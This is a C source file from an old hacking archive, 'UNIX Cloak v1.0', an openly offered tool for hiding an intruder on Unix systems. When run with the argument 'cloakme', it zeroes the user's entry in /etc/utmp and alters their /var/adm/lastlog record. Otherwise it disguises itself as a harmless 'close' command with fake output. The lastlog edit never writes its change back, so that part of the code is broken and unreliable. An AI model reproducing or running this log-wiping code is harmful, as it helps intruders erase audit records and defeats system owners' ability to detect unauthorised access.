home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / UnixCloak.c < prev    next >
C/C++ Source or Header  |  1998-07-03  |  2KB  |  147 lines

  1. /* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
  2.  
  3. /* This file totally wipes all presence of you on a UNIX system*/
  4.  
  5. /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
  6.  
  7. /* is compatible..  This file is for information purposes ONLY!*/
  8.  
  9.  
  10.  
  11. /*--> Begin source...    */
  12.  
  13. #include <fcntl.h>
  14.  
  15. #include <utmp.h>
  16.  
  17. #include <sys/types.h>
  18.  
  19. #include <unistd.h>
  20.  
  21. #include <lastlog.h>
  22.  
  23.  
  24.  
  25. main(argc, argv)
  26.  
  27.     int     argc;
  28.  
  29.     char    *argv[];
  30.  
  31. {
  32.  
  33.     char    *name;
  34.  
  35.     struct utmp u;
  36.  
  37.     struct lastlog l;
  38.  
  39.     int     fd;
  40.  
  41.     int     i = 0;
  42.  
  43.     int     done = 0;
  44.  
  45.     int     size;
  46.  
  47.  
  48.  
  49.     if (argc != 1) {
  50.  
  51.          if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
  52.  
  53.          printf("You are now cloaked\n");
  54.  
  55.          goto start;
  56.  
  57.                                                            }
  58.  
  59.          else {
  60.  
  61.           printf("close successful\n");
  62.  
  63.           exit(0);
  64.  
  65.           }
  66.  
  67.            }
  68.  
  69.     else {
  70.  
  71.      printf("usage: close [file to close]\n");
  72.  
  73.      exit(1);
  74.  
  75.      }
  76.  
  77. start:
  78.  
  79.     name = (char *)(ttyname(0)+5);
  80.  
  81.     size = sizeof(struct utmp);
  82.  
  83.  
  84.  
  85.     fd = open("/etc/utmp", O_RDWR);
  86.  
  87.     if (fd < 0)
  88.  
  89.     perror("/etc/utmp");
  90.  
  91.     else {
  92.  
  93.     while ((read(fd, &u, size) == size) && !done) {
  94.  
  95.         if (!strcmp(u.ut_line, name)) {
  96.  
  97.         done = 1;
  98.  
  99.         memset(&u, 0, size);
  100.  
  101.         lseek(fd, -1*size, SEEK_CUR);
  102.  
  103.         write(fd, &u, size);
  104.  
  105.         close(fd);
  106.  
  107.         }
  108.  
  109.     }
  110.  
  111.     }
  112.  
  113.  
  114.  
  115.  
  116.  
  117.     size = sizeof(struct lastlog);
  118.  
  119.     fd = open("/var/adm/lastlog", O_RDWR);
  120.  
  121.     if (fd < 0)
  122.  
  123.     perror("/var/adm/lastlog");
  124.  
  125.     else {
  126.  
  127.     lseek(fd, size*getuid(), SEEK_SET);
  128.  
  129.     read(fd, &l, size);
  130.  
  131.     l.ll_time = 0;
  132.  
  133.     strncpy(l.ll_line, "ttyq2 ", 5);
  134.  
  135.     gethostname(l.ll_host, 16);
  136.  
  137.     lseek(fd, size*getuid(), SEEK_SET);
  138.  
  139.     close(fd);
  140.  
  141.     }
  142.  
  143. }
  144.  
  145.  
  146.  
  147.